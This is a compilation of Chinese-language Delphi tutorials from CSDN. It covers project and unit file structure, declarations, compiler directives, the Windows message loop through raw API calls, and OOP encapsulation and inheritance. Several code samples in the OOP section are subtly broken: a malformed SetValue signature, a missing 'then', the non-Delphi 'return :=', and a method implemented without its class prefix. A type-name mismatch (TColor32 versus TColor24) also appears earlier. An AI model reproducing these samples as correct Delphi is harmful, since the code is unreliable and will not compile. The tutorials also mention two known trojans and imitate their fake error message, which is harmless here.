    最后一种文件是dcu(Delphi Compiled Unit)文件，也就是已编译的单元文件，根据工程的编译器设置，里面一般还会包含调试信息等，默认设置是编译器生成调试信息到dcu中，但连接器不会把调试信息连接到exe里面。
    以上的东西可能一时还不能理解，不过不要紧，我只是大概说一说。 上面说过，只有dpr文件是必不可少的，也就是说，一个工程可以只包含一个dpr文件，像“广外女生”和“广外幽灵”都是这样的。下面是一个非常简单的例子：

program Project1;

uses
  Windows;

begin
    MessageBox(0, '文件损坏！', nil, MB_OK or MB_ICONSTOP);
end.

    编译运行这个工程，你会发现生成出来的文件非常小，不到20K！是不是很过瘾呢？哎呀，忘了说怎样建立一个这样的工程了。在Delphi中新建一个工程的时候，会自动添加一个窗体和单元，不过你可以把窗体和单元文件都关闭，并在Delphi问你是否保存的时候选择否，然后在菜单中选择Project->View Source打开工程文件，最后把里面的内容修改为上面例子中的那样就行了！
    这个程序运行后会显示一个错误提示框，就像“女生”中的那样，按确定之后，程序就退出了。
    源代码应该是够容易理解的了，很显然，程序从begin处开始执行，到end.处结束，中间只做了一件事情，就是调用MessageBox这个API函数显示一个消息框，由于MessageBox这个函数是在Windows这个单元中声明的，所以必须把单元名称Windows添加到uses语句中。
    什么叫声明(declare)呢？声明就是向Delphi描述一样它不知道的东西。在Delphi中可以声明自定义的数据类型(data type)、函数(function)、过程(procedure，与函数类似，但没有返回值)及变量(variable)和常量(constant)。其中很多人搞不清数据类型与类(class)的区别，其实如果会C++的人都知道，class与structure一样，都是数据类型中的一种，但这种数据结构很特殊，是数据的集合，也就是说，类里面可以包含多个数据域(field)。Record(记录)也是一种集合数据类型，但类还有继承等特性(class一词本身就有分级的意思，但不知道是谁首先翻译成类的)。像下面这个声明：

type TColor24 = record
  Red: Byte;
  Green: Byte;
  Blue: Byte;
end;

定义了一种新的数据类型，指明这种数据类型的名称为TColor32，属于记录(record)，并定义其成员内容Red、Green和Blue的名称和数据类型，总之，就是告诉Delphi这种数据类型的结构，以使Delphi知道如何储存这种数据类型的变量。有关数据类型以后将详细说明。

    声明数据类型使用关键字type，声明变量则使用关键字var，比如：

var RGBColor: TColor24;

声明一个变量RGBColor，并指明该变量的数据类型为TColor24(前面声明的数据类型，自定义的数据类型可以像Delphi预定义的一样使用)。所谓声明变量，就是告诉Delphi要为该变量分配其数据类型所需的内存(这就是为什么一定要指明数据类型的原因)，并记录该内存的地址，以便存取该变量的时候，存取相应分配的内存。这种对应是由编译器完成的，学VB的朋友可能对数据类型和内存分配并不太关心，但我觉得知道这些还是很有好处的！数据类型有时候还会决定函数中的参数如何传递，这个以后再说。好了，最后再说一句，变量只是一个名称，决定这个变量特性的是它的数据类型。

    声明常量的关键字是const。声明常量与声明变量十分相像，只是除了要指明常量的名称和数据类型之外，还要指明常量的值，因为常量的值是不能改变的，不能像变量那样在程序中赋值：

const RGBYellow: TColor24 = (Red: 255; Green: 255; Blue: 0);

我觉得Delphi中record常量的声明语法有些怪，不过先别管它。上面说了好多东西，包括uses、type、var、const、begin、end.这些关键字，还有例子工程中的以行里面的program，都是在老Pascal中就已经有的了，在一个工程中，这些关键字必须以一定的顺序出现，大概就是像这个样子：

program Sample1;

uses
  Windows,
  SysUtils;

var s: string;

type LONG = Integer;

const ErrCode: LONG = -2147483640;

begin
  s := SysErrorMessage(ErrCode);
  MessageBox(0, PChar(s), nil, MB_OK or MB_ICONSTOP);
end.

    Program指定工程的名称，这一语句一定要出现，并且工程名称和工程文件名必须一致，否则编译时会出错。由于Delphi的编译顺序是和按照源代码的书面顺序进行的，所以编写源代码的时候必须注意，只能先声明，后调用，而不能先调用，后声明。比如，uses语句必须紧跟program语句，也就是在除program语句之外的所有语句之前出现，这和C中的include有点不同，以后在说unit的格式时就知道为什么了。然后是数据类型、变量、常量的声明，这三种声明顺序没有限制，而且可以多次出现，也就是说可以有多个type、var和const语句，但同样要遵循先声明、后调用的规则，比如上面常量ErrCode的声明使用了数据类型LONG，则LONG必须先于ErrCode声明，如此类推。工程的最后一部分是主程序段，以begin开头，end.结束。一般函数中结尾的end是接分号的，但主程序段的end接的是句号，以示整个程序的结束，这个规定也是从老Pascal中遗传下来的，好无聊吧。
    下一章将会说明unit的格式，可以说是project格式的扩展，因此就请大家先弄明白本章的内容吧。


CSDN_文档中心_深入Delphi(二) 个人认为不错的delphi概要介绍，言简意明，值得一看

深入Delphi (二)

单元文件/编译器条件标识符

by machine

    对比起工程文件，单元文件明显多了一点东西：

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TForm1 = class(TForm)
  private
    { 私有声明 }
  public
    { 公有声明 }
  end;

var Form1: TForm1;

implementation

{$R *.DFM}

initialization

{ 在这里进行初始化 }

finalization

{ 在这里进行销解化 }

end.

    首先是program换成了unit，然后还有interface和implementation两个关键字把整个单元分为了两部分，即接口和实现部分。
    接口部分相当于C中的头文件部分，如果一个单元被uses了，那其实只是被包括了接口的部分。在这一部分中可以定义函数原型，但函数(包括类中的函数)的具体实现部分只能出现在implementation部分里面。与C类似，接口部分和实现部分都可以出现uses语句，以实现全局和局部的限制。接口部分的uses必须紧接着interface关键字出现，实现部分的uses也必须紧接着implementation关键字，就像它们是合在一起似的。
    至于实现部分，其实如果把工程文件里面的program一行改成implementation，看起来就成了单元里面的实现部分，实际上也是如此，因为首先，工程文件不能被uses，因此工程总是局部的；另外，实现部分里面也可以出现工程中的begin...end.块。
    实现部分的begin...end.块实际上就起到了初始化的作用，但这主要是保留了以前Pascal的语法，Delphi建议使用新增的initialization和finalization来初始化和销解化。在实现部分，begin...end.块、初始化块和销解化块都不是必须出现的，但整个单元必须以end.结尾。
    关键字initialization标志着初始化块的开始，当一个编译后的工程运行时，每个单元的初始化块被首先执行，至于那个单元首先被初始化，则取决于被uses的顺序，先被uses的就先被初始化。初始化块和begin...end.块不能同时出现，因此，建议使用初始化块，以便也能使用销解化块的功能。
    销解化块只能伴随初始化会出现，但初始化块可以单独出现。销解化块在程序结束前被自动执行，其执行顺序与该单元被uses的顺序相反。要注意的是，初始化块可能在完全被执行之前程序就因某种错误而被中止了，但Delphi确保证销解化块被执行，因此销解块中的代码必须考虑未完全初始化的情况。

    然后是对uses语句的详细说明。总结前面所说，uses总共可以在三处地方出现。在单元的两处地方的uses语句里，被uses的单元必须是在工程的搜索路径中，而工程文件中的uses语句则可以直接指明文件的路径：

uses
  Forms,
  Main,
  Extra in '..\EXTRA\EXTRA.PAS';

    在单元文件中，如果在接口部分引用了另外一个单元，则实现部分也可以调用该单元，但反之在实现部分引用的单元则不能在接口部分被调用。在编程的时候应该尽量在一个单元的实现部分引用其他单元，而减少在接口部分的引用，以避免所谓的“循环引用”问题。比如说，单元A在接口部分引用了单元B，单元B以同样的方法引用了单元C，最后单元C又在接口部分引用了单元A，则编译时会出现循环引用的错误。解决方法是把全局的声明放到集中的单元中，尽量把引用放到实现部分。
    有时候会遇到一个问题，如果一个变量，或者常量、函数，又或者是数据类型，总之，一样相同名称的东西同时在两个被引用的单元中，那么调用的时候到底会调用到哪一个呢？答案是uses语句的单元列表中最后一个，而不是首先出现的那个！这是要注意的。如果不能确定将会调用那个版本，还可以在所调用的东西前面加上“单元名称+句号”的前缀，以强制Delphi调用相应的单元版本。
    在单元和工程中还有一类用于控制编译器的特殊命令(Compiler Directive)。这种命令包含在大括号或者“(*”和“*)”的组合中，看起来就像注释，但用“$”这个符号开头。比如例子中的$R就是告诉编译器你要包含一些资源文件到工程中。其中有一组命令，$DEFINE、$UNDEF、$IFDEF、$IFNDEF、$ELSE和$ENDIF，看起来很像C中的宏定义命令，但Delphi中的这种定义只起到开关的作用，而不能定义宏替换，也就是说可以定义一个开关名称，使其处于开状态，而如果没有定义这个开关，则认为其处于关状态，但不能像C中那样定义这个开关为一段程序代码，并在编译是自动用代码替换宏，Delphi没有提供这样的宏功能。

    要是对编译器指令不了解，那么请继续看下去，否则就可以直接跳到下一章了。好，首先，什么叫做编译呢？编译就是把你编写的源代码，转译为CPU能执行的指令。通常情况下，编译器把每个单元文件单独编译，然后连接器负责把编译后的单元文件连接为可执行文件(exe文件)。之所以要这样做，是因为不同的操作系统，其可执行文件的格式是不一样的，比如DOS、Windows、Linux这些操作系统。但只要CPU是兼容的型号，则可以使用同样的编译文件格式，因为转译过程是一样的。比如C的编译文件OBJ文件，即使是在DOS下编译的，仍然可以被连接为Windows的EXE，编译器只对CPU感兴趣，而对要输出的执行文件的格式不感兴趣。
    我个人觉得对要学一样东西如果对其了解得越多，学起来就更能融会贯通，所以有时候可能会扯得很远。还有，要学好一样东西，耐心是必不可少的哦！所以一时弄不明白不要泄气，说不定过一段时间之后就突然明白了呢，我以前也试过这样子的。好了，回到刚才Delphi的DEFINE问题。初学者很容易搞不明白这样的定义和常量/变量声明的作用有什么不同：

{$DEFINE Debug}

begin
  {$IFDEF Debug}
    Writeln('Debug is on');
  {$ENDIF}
end;

然后对比一下这个例子：

const Debug = True;

begin
  if Debug then begin
    Writeln('Debug is on');
  end;
end;

    两个例子运行起来结果是一模一样的。但事实上编译出来的程序是不一样的。在第二个例子中，首先，程序被编译，然后运行，CPU首先判断Debug的值是否不为零，如果是，则继续执行调用Writeln，没什么特别之处。但第一个例子的情况就不一样了，在编译时，编译器发现了$DEFINE Debug这条指令，于是它在内部设立标识，记录了Debug这个定义(DEFINE)，然后继续编译过程，之后，编译器又发现了$IFDEF Debug这条指令，编译器查看自己的内部标识表，发现Debug是已经定义的，因此它继续进行$IFDEF和$ENDIF之间的源代码的编译，否则的话，它将忽略这段源代码，就好像他们根本不存在的样子！所以，第一段例子编译出来的程序与以下例子的是一模一样的：

begin
  Writeln('Debug is on');
end;

    这样，源代码在编译的时候编译器就已经作了判断，编译出相应的程序，而不是程序在运行的时候，CPU再做出判断，调用相应的代码。这样一来，程序的运行效率明显提高了，C就是大量使用这种特性的例子，因此C的执行效率比较高，同理，C的编译速度却是非常的慢，因为编译器要维护非常大的标识列表(别忘了C的宏定义比Delphi中的复杂，而且C中到处都是这样的宏定义)，而且要不断地搜索列表并根据对应定义来修改程序源代码，最后才能进行CPU指令翻译。以后会讲到如何在Delphi中使用其它语言编写的代码，包括汇编和C等，这样一来，程序的事件处理部分可以用Delphi来完成，而在需求速度的地方可以使用汇编或者C来写，开发速度就能够大大提高，而程序运行效率仍然可以维持在高水平上。

    使用DEFINE指令还能做到其他的一些事情，比如向上面的例子那样，定义一个调试(Debug)的编译器条件标识符(Conditional Symbol)，然后在代码中插入一些只想在调试时才想执行的代码，比如记录程序每调用一个函数的返回值之类的，用$IFDEF来控制，是非常方便的，如果等到程序要发布，不想要再编译那些调试用的代码，只需注释掉Debug的定义就可以了，而不需要把每个调试用的代码都注释掉。在某些情况下，无法使用Delphi的调试器，比如正在使用Direct Draw，或者调试一个同时被多个程序使用的DLL那样，就只能把要调试的内容记录一个文件中，用查看文件记录的方式来调试，这样子本来就很烦了，如果要维护这样的程序，最好使用DEFINE，否则来回改动程序只会使自己更烦。
    $DEFINE的作用还可以继续引申开去，凡是程序有多个代码版本的情况，都可以使用$DEFINE的方便功能。好了，这一章就说到这里吧。请继续留意下一章的出现。


CSDN_文档中心_深入Delphi(三) 个人认为不错的delphi概要介绍，言简意明，值得一看

深入Delphi (三)

Windows 消息机制

by machine

    大家是不是很奇怪为什么我还没说到Delphi的控件呢？不过不用着急，有关深入控件的内容，将会很快出现了，但在这之前，还得了解Windows图形界面程序的机制——Windows的消息机制。
    使用过Delphi的朋友都知道，Delphi是一个真正面向对象的编程环境，但是不但如此，Delphi的这种面向对象的机制是单纯的建立在Windows的消息机制上的Delphi代码，而不是像VB、VFP之类的调用DLL、OCX，通过查看Delphi控件的源代码，你可以知道整个机制是怎样组织起来的，而且你可以完完全全地控制这些控件，因为它们只是用Delphi代码编写的，而不是存在在DLL中看不见的东西。
    那么Windows所谓的消息(Message)机制到底是什么呢？还记得以前学Basic的时候，根本没有什么事件之类的东西，整个程序是用流程图来描绘的，在程序需要键盘输入的地方，整个程序就停下来等待输入，然后根据输入来做不同的事情。这样做本来是没什么问题的，但是到了图形界面的时候，情况不同了，鼠标输入成了一个很大的问题，而且在Windows这样的多任务系统下，不可能让一个程序不断的测试设备状态那样子来获得输入。
    总之呢，Windows下的消息机制是完全不同的，即使与单纯的中断事件比起来，还是有很多不同的地方。
    简单的说来，一个线程在创建窗体的时候，会自动生成一个消息队列，但窗体不是必要的，可以通过其他途径来创建消息队列。然后，其他的程序，或者Windows系统本身，可以向这个线程发送消息到它的消息队列中，通知这个线程有什么东西发生了，这就是所谓的事件。每个进程都可以使用GetMessage函数获得它的消息队列中最前面的一个消息，GetMessage同时会自动将此消息从消息队列中删除掉，当然也可以指定不删除消息，这个以后再说。光听可能还是不能想象出来，那就看以下的例子吧：

program Sample3;

uses
  Windows,
  Messages;

var Msg: TMsg;

begin
    PostMessage(0, WM_USER, 0, 0); // 首先强制生成消息队列
    PeekMessage(Msg, 0, WM_USER, WM_USER, 0);
    // 然后这里就是所谓的消息循环，只有当收到WM_QUIT的消息时，GetMessage()才会返回False
    while GetMessage(Msg, 0, 0, 0) do begin
    end;
    // 这里可以做程序结束前(收到WM_QUIT后)的工作
end.

    这个程序运行后不会干任何事情，同时也会忽略一切Windows发给它的消息，除了WM_QUIT之外，因为GetMessage这个函数有一个特点，当收到其他消息的时候，GetMessage的返回值是TRUE，而在收到WM_QUIT的时候返回值则为FALSE，因此消息循环就被打破了。在Windows关闭的时候，Windows会自动发一个WM_QUIT的消息到这个程序的主线程，然后程序就退出了。
    绝大多数的程序的主体就是这个样子，都有一个消息循环，也就是说，每一个程序都是不断的使用GetMessage尝试获得新的消息，然后处理，周而复始，直到收到WM_QUIT为止。而其中高明之处，就是GetMessage在被调用的时候，如果检查出消息队列中没有消息，则函数不会马上返回，而是使线程转入睡眠状态，因而线程不会因为不断的循环而浪费CPU时间。在有新的消息收到之后，线程会重新苏醒，GetMessage把收到的消息放到一个TMsg类型的参数里面返回，于是程序就可以处理这个消息了。
    好了，这个消息机制是如何和窗体程序结合在一起的呢？换句话说，如果程序生成了窗体，那么程序又如何通过这个消息机制获取用户的输入消息呢？这就要从创建窗体的过程说起了。以下是一个比较复杂一点的例子：

program Sample4;

uses
  Windows,
  Messages;

var
  Msg: TMsg;
  wc: TWndClass; // RegisterClass()所需要的参数
  hWnd: THandle; // 主窗体的句柄

const
  ClassName = 'MainWClass';

function MainWndProc(Handle: THandle; MsgID: UINT; wParam, lParam: Integer): LRESULT; stdcall;
begin
    Result := 1;
    case MsgID of

        WM_CLOSE: begin // 关闭窗体所产生的消息
            if MessageBox(Handle,
                '要关闭这个程序吗？',
                '例子程序-4',
                MB_ICONQUESTION or MB_YESNO
                    ) = IDYES then
                DestroyWindow(hWnd)
            else
                Result := 0;
            Exit;
        end;

        WM_DESTROY: begin // DestroyWindow()所产生的消息
            PostQuitMessage(0);
        end;

    end;
    // 剩下的消息交给Windows预设的处理函数就可以了，比如画窗体的WM_NCPAINT消息等
    Result := DefWindowProc(Handle, MsgID, wParam, lParam);
end;

begin
    // 首先使用RegisterClass()注册窗体的类，这可不是Delphi数据类型中的类哦！
    wc.style := CS_HREDRAW or CS_VREDRAW;
    wc.lpfnWndProc := @MainWndProc; // 消息处理函数的地址
    wc.hInstance := hInstance; // 程序的句柄，同时也是基地址
    wc.hIcon := LoadIcon(0, PChar(IDI_APPLICATION));
    wc.hCursor := LoadCursor(0, IDC_ARROW); // 图标
    wc.hbrBackground := GetStockObject(WHITE_BRUSH); // 背景画刷
    wc.lpszClassName := ClassName; // 前面定义的常量
    if RegisterClass(wc) = 0 then Halt(0);
    hWnd := CreateWindowEx(0,
        ClassName, // 刚才注册的类的名称
        'Sample', // 窗体的标题
        WS_OVERLAPPEDWINDOW, // 窗体有标题栏、系统菜单、最大小化菜单，以及拉伸边框
        Integer(CW_USEDEFAULT),
        Integer(CW_USEDEFAULT),
        Integer(CW_USEDEFAULT),
        Integer(CW_USEDEFAULT),
        0,
        0,
        hInstance,
        nil
    );
    if hWnd = 0 then Halt(0);
    ShowWindow(hWnd, CmdShow);
    UpdateWindow(hWnd);
    while GetMessage(Msg, 0, 0, 0) do begin
        TranslateMessage(Msg);
        DispatchMessage(Msg); // 该API将消息分派到相应的窗体消息处理函数
    end;
    ExitCode := Msg.wParam;
end.

    由于要说的东西比较多，其中的API说明、定义就请各位自己查看SDK了。在创建窗体之前，首先需要向Windows注册窗体的类。所谓的注册窗体类，就是要填充一个TWndClass结构的数据，设定这个类的属性，然后传递给RegisterWindowClass()。在这些属性当中，就包括这个类的窗体消息处理函数的指针，然后还有这个类的名称。在用CreateWindowEx创建主窗体的时候，就可以根据类的名称创建这个类的窗体了。那么窗体消息处理函数是用来干什么的呢？
    需要注意的是，一个线程可以创建多个窗体，这些窗体可以是你的程序创建的，也可能是Windows在你的程序运行过程当中创建的，比如用户点击窗体左上角的系统图标时Windows会生成一个系统菜单——在Windows里，所有你能看到的东西，包括编辑框、按钮这些东西都叫做窗体，并非程序主窗体、子窗体才叫做窗体的哦！那么问题也就随之而来了，一个线程中消息队列只有一个，但窗体有这么多，如果所有消息都在主程序的消息循环中处理，那么编写大的程序将非常困难，而且结构混乱的程序维护起来也很麻烦。于是这个窗体消息处理函数(Window Procedure)就起作用了，由于可以为每一个类编写消息处理函数，因此只需要在收到相应窗体的消息的时候，把消息传递给相应类的消息处理函数处理就可以了，整个程序就变得十分结构化。程序中甚至不需要记录每一个窗体对应的类消息处理函数是哪一个，直接调用DispatchMessage() Windows就会自动使用相应的消息处理函数了。
    另一个函数DefWindowPro()也是一个关键之处，试一下把这一行省略，看看程序运行后有什么效果？事实上，这样做之后，甚至连窗体你都不会看得到，Windows只是为你所创建的窗体在屏幕上保留了一个位置。为什么呢？你的程序并没有画窗体啊！别以为创建了窗体之后Windows就会为你完成一切，其实是DefWindowProc()处理了WM_PAINT和WM_NCPAINT的消息，完成了画窗体的工作，DefWindowProc为一般的程序主窗体做了很多这样的幕后工作哦！也由此可见，消息并不只是用户鼠标、键盘的输入消息，而是程序和Windows系统的联系工具，以后就会知道，消息还有很多用处呢，而编写Delphi控件很多时候也离不开消息。好了，这一章就讲到这里吧。


CSDN_文档中心_深入Delphi编程

深入Delphi编程

左轻侯

       刚刚接触的Delphi的朋友，可能最感兴趣的就是它丰富、强大的VCL（可视化构件库）。仅仅向窗体上扔几个构件，甚至不用动手写代码，就能很容易地做出一个有实用价值的程序，真是令人激动。但是，VCL只是Delphi的一小部分，Delphi的优秀远远不只是表现在VCL上。如果你仅仅停留在使用VCL这一阶段，那么你永远也不可能成为一个真正的Delphi高手。记住，必须超越VCL，才能够接触到Delphi的核心。
     那么，在Delphi的VCL后面，到底隐藏着什么呢？本文将讨论两个比较高级的Delphi主题：OOP和数据库编程。
    本文假定读者已经具有Delphi编程的基础知识，例如，熟悉Pascal语言的一般语法，掌握简单的VCL使用，会使用Data-Ware构件编写基本的数据库程序，等等。本文不会重复VCL的使用这样的问题。

    1、OOP

    OOP的英文全称是Object Oriented Programming，翻译过来就是面向对象编程。OOP是一种非常重要的编程思想。也许你会对这种抽象的东西不感兴趣，可是几乎任何一个高手都会告诉你：“语言并不重要，重要的是编程思想。”
    大家知道，Delphi的语言基础是Object Pascal。这是Borland在传统的Pascal语言中增加了面向对象的特性后发展而成，并且特地冠以Object的字样，以示与传统的Pascal语言的差别，可见面向对象技术对其影响之大。可以说，Delphi构建在Object Pascal的基础之上，而Object Pascal构建在面向对象技术之上。
    事实上，不但Delphi，OOP也是C++、Java等其他许多现代编程语言的基础（Visual Basic不完全地支持OOP）。熟练地掌握OOP技术，是深入掌握Delphi的必要条件，是迈入高手境界的必经之路，也是一个成熟的程序员的标志之一。理解了OOP技术之后，很多以前令你困惑的东西会迎刃而解。
    有趣的是，虽然Delphi是完全基于OOP的，但是一个完全不了解OOP的程序员也能够使用Delphi编写程序，因为Delphi会自动完成绝大多数的工作。当你开始学习Delphi的时候，你可能无法想象，当简单地往窗体上添加一个按钮时，Delphi会完成多么复杂的工作吧！但是既然有志于深入Delphi的世界，成为一个真正的程序员，我们就应该对Delphi的细节具有好奇心。
    这些理论可能会让人觉得枯燥和望而生畏，其实当你掌握了它之后就会觉得没什么了。当然，你需要有足够的毅力。
    OOP有三个主要的特征：

    1.1 数据封装

    让我们先看一段代码：

    type
    TDate = class
    Mouth,day,Year:Integer;
    procedure SetValue(m,d,y:Integer);
    function LeapYear:Boolean;
    end;

    我们首先会看到class关键字，它的中文译名为“类”。类是一个非常重要的概念。根据权威的定义，类是：一种用户定义的数据类型，它具有自己的说明和一些操作。一个类中含有一些内部数据和一些过程或函数形式的对象方法，通常来描述一些非常相似的对象所具有的共同特征和行为。
    这个定义可能比较晦涩。你可以把类想象为一种特殊的Record类型，其中不但可能包含数据，而且可能包含函数和过程（在OOP中称之为方法）。这些数据和方法被统称为类的成员。
    上面这个类很显然是一个日期类型，它包括Mouth，Day，Year这三个数据成员，和SetValue、LeapYear这两个方法。顺便说一句，在Delphi中，习惯以字母T作为每个类的前缀，就象Viusal C++中习惯以字母C作为每个类的前缀一样。
    Mouth，Day，Year这三个数据成员指定了该日期的年、月、日。SetValue方法为这三个数据成员赋值，而LeapYear检查当前日期所在的那一年是否是闰年。下面我们给出这两个方法的实现部分：

    procedure TDate.SetValue(m,d,y):Integer;
    begin
    Mouth := m;
    Day := d;
    Year := y;
    end;

    function TDate.LeapYear:Boolean;
    begin
    if (Year mod 4 <> 0) then
    LeapYear := False
    else if (Year mod 100 <> 0)
    LeapYear := True
    else if (Year mod 400 <> 0)
    LeapYear := False
    else
    LeapYear := True;
    end;

    实现了这些定义之后，就可以这样调用它们：

    var
    ADay: TDate;
    begin
    //建立一个对象
    ADay := TDate.create;
    //使用之
    ADay.SetValue(1,1,2000);
    if ADay.LeapYear then
    ShowMessage('闰年：' + Inttostr(ADay.year));
    //释放对象
    ADay.free;
    end;

    我们来逐行解释这些代码的含义。var后面那一行声明了一个TDate类的变量。
    声明了变量之后，我们怎么使用它呢？使用TDate类的Create方法可以建立一个该类的对象，并将其赋予ADay变量。
    现在我们又接触到了OOP中另一个重要的概念：对象。什么是对象？简言之，对象就是类的实例，或者说，是类定义的数据类型的变量。当建立一个类的对象时，系统为它分配一块内存。例如我们定义一个变量A为Integer类型，那么，Integer是一个数据类型，A就是一个实例。类与对象的关系就类似于这两者之间的关系。区别类和对象是非常重要的，甚至一些专业的程序员都往往将他们搞混。
    细心的读者可能注意到，在TDate类的定义中，并没有Create这个方法。那么这个Create方法是从哪里来的呢？Create方法是每一个Class都具有隐含的方法，它的作用是建立这个类的实例。请注意，在这里，类和其他的数据类型是不同的。其他的数据类型都是声明了变量之后就可以直接使用，而类类型必须在使用Create方法创建它的实例（对象）之后才能使用。
    事实上，在C++和其他大多数的OOP语言中，声明一个类的变量就能够同时建立起这个类的对象。而Delphi（包括它的孪生兄弟C++ Builder）在这方面与众不同，必须要Create一下才能真正建立对象。同时，在这个对象不再需要时，必须要手工调用free方法释放这个对象（当然，free方法也是每个类隐含的）。这和Delphi独特的“对象引用模型”有关，有兴趣的朋友可以查阅有关资料，我就不多说了。
    这种情况造成了一个非常有趣的现象，那就是，编程的初学者往往忘记在使用对象之前create它，从而出错，但从C++转向Delphi的高手也常常犯同样的错误……
    顺便告诉大家一个诀窍，当编译器出现“Read of Address: ffffffff”这样的错误时，多半是因为在使用对象之前忘了Create，可以从这方面入手检查代码。另外，也千万不要忘记在不需要它时使用free释放掉，否则可能造成内存泄漏。
    在建立和释放对象的代码的中间，是使用对象的代码。访问对象的数据成员非常简单，和Record类型没有什么区别。可以点号表达式来访问它们：

    ADay.Year := 2000;
    ADay.Mouth := 1;
    ADay.Day := 1;

    同样，也可以使用点号表达式来调用对象的方法。如果你阅读了方法实现部分的代码，你可以很容易地发现，ADay.SetValue(1,1,2000)这一句分别为三个数据成员赋了值，而ADay.LeapYear调用则返回当前日期所在年是否为闰年。至此，整段代码的意义也就清楚了。
    然而，类不仅仅这么简单。上面这个例子是一个非常简单的类，可以直接访问它的任何成员（数据和方法）。但某些类的成员是不能被随便访问的。Delphi中用三个关键字区分这些成员的访问权限：

    表1

Private | 该类型的成员只能在声明类中被访问
Public | 该类型的成员可以被程序中的任何地方的代码访问
Protected | 该类型的成员只能在声明类以及声明类的派生类中被访问

    Protected类型的成员以及什么是“派生类”等问题我们留到以后再进行讨论，现在我们将注意力集中在前两者。
    Public类型就是在上面例子中的那种类型，这个很好理解。而Private类型，根据表格中的简单解释，只能在该成员被声明的那个类（也就是该成员所属的那个类啦）中被访问，越出这个界限，它就是不可见的。那么，Private类型的成员将如何被使用呢？简单地说，就是通过一个Public类的方法来访问它。
    让我们看一个新的例子：

    type
    TDate = class
    private
    Mouth,day,Year:Integer;
    Public
    procedure SetValue(m,d,y:Integer);
    function LeapYear:Boolean;
    function GetText:String;
    end;

    在这个类中，Mouth，Day，Year这三个成员被声明为Private成员，因此它们在类以外的其它地方是不可访问的。也就是说，如果你使用

    ADay.Year := 2000;

    这样的代码，那么编译器将会报错。但是，我们可以照样通过SetValue方法为它们赋值：

    ADay.SetValue(1,1,2000);

    这行代码是合法的，因为SetValue本身是TDate类的成员，而且它又是一个Public成员。而使用GetText方法则可以得到当前日期值（这也是得到当期日期值的唯一办法）。
    这样的设置使得类的一些成员被隐含起来，用户只能用一些专门的方法来使用它们。那些可以被外部代码访问的成员称之为类的接口。这样做有什么好处呢？首先，这让类的作者可以检测被赋值的内容。比如，用户可能给一个对象赋予13月40日这样的无效日期。而在隐含了一些成员之后，类的作者可以在方法的代码中检测这些值是否有效，从而大大地减少了产生错误的机会。其次，使用规范的类，作者可以随时修改类内部的代码，而使用该类的代码却无需任何修改！这样使得代码的维护成了一件轻松的事件，特别是对于多人协作的大型软件而言。
    这就叫做数据的封装（encapsulation）。这是OOP的第一个特征。一个优秀的OOP程序员，应该在设计类的时候，就确定将哪些重要的数据封装起来，并给出一个高效率的接口。
    需要指出的一点是，表1中Private部分的论述对于“标准的”OOP语言（例如C++）是完全正确的，但对于Delphi有一个例外。在Delphi中，Private成员除了在声明类中可以访问外，在声明类所在的单元（.pas文件）中的任何地方都能被访问，不论这些代码与声明类的关系如何。严格来说，这是违反OOP的原则的，我不明白Borland为何要这么做（据说是为了方便）。在关于Delphi的优劣性的讨论中，这是常被涉及的一个问题。

    1.2 继承与派生

    我们再来看一段代码：

    type
    TNewDate = class(TDate)
    Public
    function GetTextNew:String;
    end;

    function GetText:String;
    begin
    return := inttostr(Mouth) + ':' + inttostr(Day) + ':' + inttostr(Year);
    end;

    可以看到，在class后面出现一个包含在括号中的类名。这种语法表示新的类继承了一个旧的类。继承了原有类的类称之为派生类，也叫子类，被继承的类称之为基类，也叫父类。
    派生类与基类之间是什么关系呢？当派生类继承自一个基类时，它自动具有基类的所有数据、方法以及其他类型，无须在派生类中再做说明。例如，可以象下面这段代码这样使用TNewDate类：

    var
    ADay: TNewDate;
    begin
    ADay := TNewDate.create;
    ADay.SetValue(1,1,2000);
    if ADay.LeapYear then
    ShowMessage('闰年：' + Inttostr(ADay.year));
    ADay.free;
    end;

    而且，派生类还可以在基类的基础上加入自己的数据和方法。可以看到在TnewDate类中增加了一个新的方法GetTextNew。下面给出这个方法的实现部分：

    function GetTextNew:String;
    begin
    return := GetText;
    end;

    然后调用它：

    ADay.GetTextNew;

    这个新的方法工作得很好。
    为什么GetTextNew方法必须调用基类中的GetText方法，而不能直接使用GetText方法中的那些代码呢？原因是，Mouth，Day，Year这三个成员被声明为Private成员，因此它们即使在派生类中也是不能被访问的，所以必须调用基类中的GetText方法，间接地使用它们。如果要直接使用它们的话，可以将这三个成员的属性从Private改为Protected。在表1中可以看到，Protected属性的成员可以在声明类以及声明类的派生类中被访问，然而仍然不能被这两种情况以外的其他代码所访问。现在我们终于可以理解了，这个特殊的属性实际上提供了极大的方便：它使得类的成员被封装，避免了混乱，同时又能够让派生类方便地使用它们。
    （如果你是一个细心的人，你可能发现上面的话中间有一个小小的仳漏。当你真的在GetTextNew方法中访问了基类的Private成员的话，你可能会惊奇地发现程序也能够编译通过而且正常运行！其实，这个问题和OOP本身没有关系。上面我已经说过，在Delphi中，Private成员在声明类所在的单元文件中的任何地方都能被访问，因此如果TNewDate类和TDate类在同一个.pas文件中时，这种情况就不足为怪了。）
    怎么样，是不是觉得非常奇妙？通过这种继承的机制，类不再仅仅是数据和方法的封装，它提供了开放性。你可以方便地继承一个功能强大的类，然后添加进自己需要的特性，同时，你又不需要对基类进行任何的修改。相反，原作者对基类的任何改动，都可以在你的新类中立即反映出来。这非常符合代码的重用要求。
    这种继承机制也非常符合现实世界中的情形。可以设想，一般意义上的“动物”是一个类，具有自己的一些特征（成员）；而“狗”是“动物”的派生类，它具有动物的所有特征，同时还具有自己独有的特征（四条腿，汪汪叫，等等）。而“狗”这个类可以继续派生下去，例如“黑狗”“白狗”，它们除了保留狗的全部特征之外，还具有自己的特征（黑颜色，白颜色，等等）。而具体到一只活生生的狗，可以认为它就是“黑狗”或“白狗”（或其他什么狗）的一个实例（对象）。
    OOP这种对现实世界的模拟不仅极大地简化了代码的维护，而且使得整个编程思想产生了革命性的变化，较之模块化编程有了飞跃的进步。
    如果你曾经仔细阅读过VCL的资料甚至它的源代码，你就可以发现，整个VCL都是建立在这种强大的封装-继承的机制之上的。你可以看到一张详细的VCL层次结构图，就象是一个庞大的家谱，各种VCL构件通过层层继承而产生。例如，一个简简单单的TForm类，就是许多次继承之后的产物：
    TObject - TPersistent - TConponent - TControl - TWinControl - TScrollingWinControl - TCustomForm - TForm
